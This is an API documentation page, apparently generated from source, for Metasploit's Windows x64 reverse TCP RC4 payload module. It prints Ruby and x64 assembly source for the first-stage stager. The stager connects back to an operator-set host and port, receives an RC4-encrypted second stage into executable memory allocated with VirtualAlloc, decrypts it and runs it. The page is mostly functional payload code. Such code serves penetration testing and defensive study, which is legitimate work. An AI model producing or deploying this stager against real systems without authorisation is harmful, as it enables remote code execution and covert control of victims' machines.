Module: Msf::Payload::Windows::ReverseTcpRc4_x64

Includes:
Rc4_x64, ReverseTcp_x64
Defined in:
lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb

Overview

Complex reverse_tcp payload generation for Windows ARCH_X64

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Rc4_x64

#asm_decrypt_rc4, #generate_stage, #handle_intermediate_stage, #initialize

Methods included from ReverseTcp_x64

#asm_block_recv, #asm_reverse_tcp, #generate_reverse_tcp, #initialize, #required_space, #transport_config

Methods included from Exitfunk_x64

#asm_exitfunk

Methods included from BlockApi_x64

#asm_block_api

Methods included from SendUUID_x64

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #initialize, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #initialize, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Pingback::Options

#initialize

Instance Method Details

#asm_block_recv_rc4(opts = {}) ⇒ Object


68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
# File 'lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb', line 68

def asm_block_recv_rc4(opts={})
  xorkey = Rex::Text.to_dword(opts[:xorkey]).chomp
  reliable     = opts[:reliable]
  asm = %Q^
    recv:
    ; Receive the size of the incoming second stage...
      sub rsp, 16             ; alloc some space (16 bytes) on stack for to hold the
                              ; second stage length
      mov rdx, rsp            ; set pointer to this buffer
      xor r9, r9              ; flags
      push 4                  ;
      pop r8                  ; length = sizeof( DWORD );
      mov rcx, rdi            ; the saved socket
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call rbp                ; recv( s, &dwLength, 4, 0 );
  ^

  if reliable
    asm << %Q^
    ; reliability: check to see if the recv worked, and reconnect
    ; if it fails
      cmp eax, 0
      jle cleanup_socket
    ^
  end

  asm << %Q^
      add rsp, 32             ; we restore RSP from the api_call so we can pop off RSI next

    ; Alloc a RWX buffer for the second stage
      pop rsi                 ; pop off the second stage length
      mov esi, esi            ; only use the lower-order 32 bits for the size
      xor esi, #{xorkey}    ; XOR the stage length
      lea r11, [rsi+0x100]  ; R11 = stage length + S-box length (alloc length)
      push 0x40               ;
      pop r9                  ; PAGE_EXECUTE_READWRITE
      push 0x1000             ;
      pop r8                  ; MEM_COMMIT
      mov rdx, rsi            ; the newly recieved second stage length.
      xor rcx,rcx             ; NULL as we dont care where the allocation is.
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call rbp                ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
      ; Receive the second stage and execute it...
      ; mov rbx, rax            ; rbx = our new memory address for the new stage
      lea rbx, [rax+0x100]
      ; mov r15, rax            ; save the address so we can jump into it later
      mov r15, rbx
	push rbx              ; save stage address
      push rsi              ; push stage length
      push rax              ; push the address of the S-box

    read_more:                ;
      xor r9, r9              ; flags
      mov r8, rsi             ; length
      mov rdx, rbx            ; the current address into our second stages RWX buffer
      mov rcx, rdi            ; the saved socket
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call rbp                ; recv( s, buffer, length, 0 );
      add rsp, 32             ; restore stack after api_call
  ^

  if reliable
    asm << %Q^
    ; reliability: check to see if the recv worked, and reconnect
    ; if it fails
      cmp eax, 0
      jge read_successful

    ; something failed so free up memory
      pop rax
      push r15
      pop rcx                 ; lpAddress
      push 0x4000             ; MEM_COMMIT
      pop r8                  ; dwFreeType
      push 0                  ; 0
      pop rdx                 ; dwSize
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
      call rbp                ; VirtualFree(payload, 0, MEM_COMMIT)

    cleanup_socket:
    ; clean up the socket
      push rdi                ; socket handle
      pop rcx                 ; s (closesocket parameter)
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
      call rbp

    ; and try again
      dec r14                 ; decrement the retry count
      jmp create_socket
    ^
  end

  asm << %Q^
    read_successful:
      add rbx, rax            ; buffer += bytes_received
      sub rsi, rax            ; length -= bytes_received
      ; test rsi, rsi           ; test length
      jnz read_more           ; continue if we have more to read
      mov r14, rdi            ; save socket handle
      pop rdi                 ; address of S-box
      pop rcx                 ; stage length
      pop r9                  ; address of stage
      push r14                ; save socket
      call after_key          ; Call after_key, this pushes the address of the key onto the stack.
      db #{raw_to_db(opts[:rc4key])}
    after_key:
      pop rsi                 ; rsi = RC4 key
    #{asm_decrypt_rc4}
      pop rdi                 ; restrore socket handle
      jmp r15                 ; return into the second stage
  ^

  if opts[:exitfunk]
    asm << asm_exitfunk(opts)
  end

  asm
end

#generateObject

Generate the first stage


23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# File 'lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb', line 23

def generate
  xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
  conf = {
    port:        datastore['LPORT'],
    host:        datastore['LHOST'],
    retry_count: datastore['ReverseConnectRetries'],
    xorkey:      xorkey,
    rc4key:      rc4key,
    reliable:    false
  }

  # Generate the advanced stager if we have space
  if self.available_space && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
    conf[:reliable] = true
  end

  generate_reverse_tcp_rc4(conf)
end

#generate_reverse_tcp_rc4(opts = {}) ⇒ Object

Generate and compile the stager


54
55
56
57
58
59
60
61
62
63
64
65
66
# File 'lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb', line 54

def generate_reverse_tcp_rc4(opts={})
  combined_asm = %Q^
    cld                     ; Clear the direction flag.
    and rsp, ~0xF           ;  Ensure RSP is 16 byte aligned
    call start              ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop rbp               ; block API pointer
    #{asm_reverse_tcp(opts)}
    #{asm_block_recv_rc4(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end

#include_send_uuidObject

By default, we don't want to send the UUID, but we'll send for certain payloads if requested.


47
48
49
# File 'lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb', line 47

def include_send_uuid
  false
end